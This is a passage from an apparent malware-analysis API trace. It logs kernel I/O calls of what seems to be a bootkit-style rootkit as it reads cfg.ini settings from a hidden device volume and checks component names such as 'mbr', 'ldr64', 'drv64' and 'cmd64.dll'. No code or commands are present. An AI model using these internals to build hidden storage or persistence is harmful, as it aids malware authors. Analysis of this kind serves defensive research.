VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.313] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.313] IdePortDispatch () returned 0x103 [0126.314] KeWaitForMutexObject () returned 0x0 [0126.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.314] KeLeaveCriticalRegion () [0126.314] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.314] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.314] KeEnterCriticalRegion () [0126.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.314] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.314] KeLeaveCriticalRegion () [0126.314] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.314] KeEnterCriticalRegion () [0126.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.314] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.314] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ecc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.314] KeLeaveCriticalRegion () [0126.314] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.314] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.314] KeEnterCriticalRegion () [0126.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.314] ExFreePoolWithTag (P=0xfffffa8003bf9fb0, Tag=0x0) [0126.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.314] KeLeaveCriticalRegion () [0126.314] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.314] ReleaseMutex (hMutex=0xf0) returned 1 [0126.314] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.315] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.315] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.315] KeEnterCriticalRegion () [0126.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.315] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.315] IdePortDispatch () returned 0x103 [0126.315] KeWaitForMutexObject () returned 0x0 [0126.315] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.315] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.315] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.315] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.315] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.315] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac6870 [0126.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.315] KeLeaveCriticalRegion () [0126.315] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.315] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.315] KeEnterCriticalRegion () [0126.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.315] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.315] KeLeaveCriticalRegion () [0126.315] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.315] KeEnterCriticalRegion () [0126.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.315] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.315] IdePortDispatch () returned 0x103 [0126.315] KeWaitForMutexObject () returned 0x0 [0126.316] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.316] KeLeaveCriticalRegion () [0126.316] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.316] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.316] KeEnterCriticalRegion () [0126.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.316] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003471000 [0126.316] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.316] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.316] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.316] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.316] IdePortDispatch () returned 0x103 [0126.316] KeWaitForMutexObject () returned 0x0 [0126.316] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.316] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.316] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.316] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.316] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.316] IdePortDispatch () returned 0x103 [0126.316] KeWaitForMutexObject () returned 0x0 [0126.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.316] KeLeaveCriticalRegion () [0126.316] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.317] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.317] KeEnterCriticalRegion () [0126.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.317] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.317] KeLeaveCriticalRegion () [0126.317] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.317] KeEnterCriticalRegion () [0126.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.317] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.317] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.317] KeLeaveCriticalRegion () [0126.317] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.317] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.317] KeEnterCriticalRegion () [0126.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.317] ExFreePoolWithTag (P=0xfffffa8003ac6870, Tag=0x0) [0126.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.317] KeLeaveCriticalRegion () [0126.317] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.317] ReleaseMutex (hMutex=0xf0) returned 1 [0126.317] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.317] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.317] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.317] KeEnterCriticalRegion () [0126.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.317] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.317] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.317] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.317] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.317] IdePortDispatch () returned 0x103 [0126.318] KeWaitForMutexObject () returned 0x0 [0126.318] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.318] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.318] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.318] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.318] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.318] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac72d0 [0126.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.318] KeLeaveCriticalRegion () [0126.318] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.318] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.318] KeEnterCriticalRegion () [0126.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.318] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.318] KeLeaveCriticalRegion () [0126.318] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.318] KeEnterCriticalRegion () [0126.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.318] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.318] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.318] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.318] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.318] IdePortDispatch () returned 0x103 [0126.318] KeWaitForMutexObject () returned 0x0 [0126.325] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.325] KeLeaveCriticalRegion () [0126.325] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.325] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.325] KeEnterCriticalRegion () [0126.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.325] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003472000 [0126.325] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.325] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.325] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.325] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.325] IdePortDispatch () returned 0x103 [0126.325] KeWaitForMutexObject () returned 0x0 [0126.325] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.325] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.325] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.325] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.325] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.325] IdePortDispatch () returned 0x103 [0126.325] KeWaitForMutexObject () returned 0x0 [0126.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.326] KeLeaveCriticalRegion () [0126.326] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.326] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.326] KeEnterCriticalRegion () [0126.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.326] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.326] KeLeaveCriticalRegion () [0126.326] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.326] KeEnterCriticalRegion () [0126.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.326] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.326] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.326] KeLeaveCriticalRegion () [0126.326] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.326] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.326] KeEnterCriticalRegion () [0126.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.326] ExFreePoolWithTag (P=0xfffffa8003ac72d0, Tag=0x0) [0126.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.326] KeLeaveCriticalRegion () [0126.326] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.327] ReleaseMutex (hMutex=0xf0) returned 1 [0126.327] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.327] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.327] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.327] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.327] KeEnterCriticalRegion () [0126.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.327] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.327] IdePortDispatch () returned 0x103 [0126.327] KeWaitForMutexObject () returned 0x0 [0126.327] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.327] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.327] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.327] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.327] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.327] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.327] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.327] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.327] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.327] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.327] KeLeaveCriticalRegion () [0126.327] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.327] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.327] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.327] KeEnterCriticalRegion () [0126.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.328] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.328] IdePortDispatch () returned 0x103 [0126.328] KeWaitForMutexObject () returned 0x0 [0126.328] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.328] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.328] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.328] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.328] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.328] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.328] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.328] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.328] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.328] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.328] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.328] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.328] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.328] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.328] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.328] KeLeaveCriticalRegion () [0126.328] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.328] ReleaseMutex (hMutex=0x100) returned 1 [0126.328] Sleep (dwMilliseconds=0x2bf20) [0126.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e7e5690, dwHighDateTime=0x1d24fa4)) [0126.336] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.336] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.336] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.336] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.336] KeEnterCriticalRegion () [0126.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.336] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.336] IdePortDispatch () returned 0x103 [0126.336] KeWaitForMutexObject () returned 0x0 [0126.336] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.336] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.336] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.336] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.336] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.336] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.336] KeLeaveCriticalRegion () [0126.336] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.336] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, 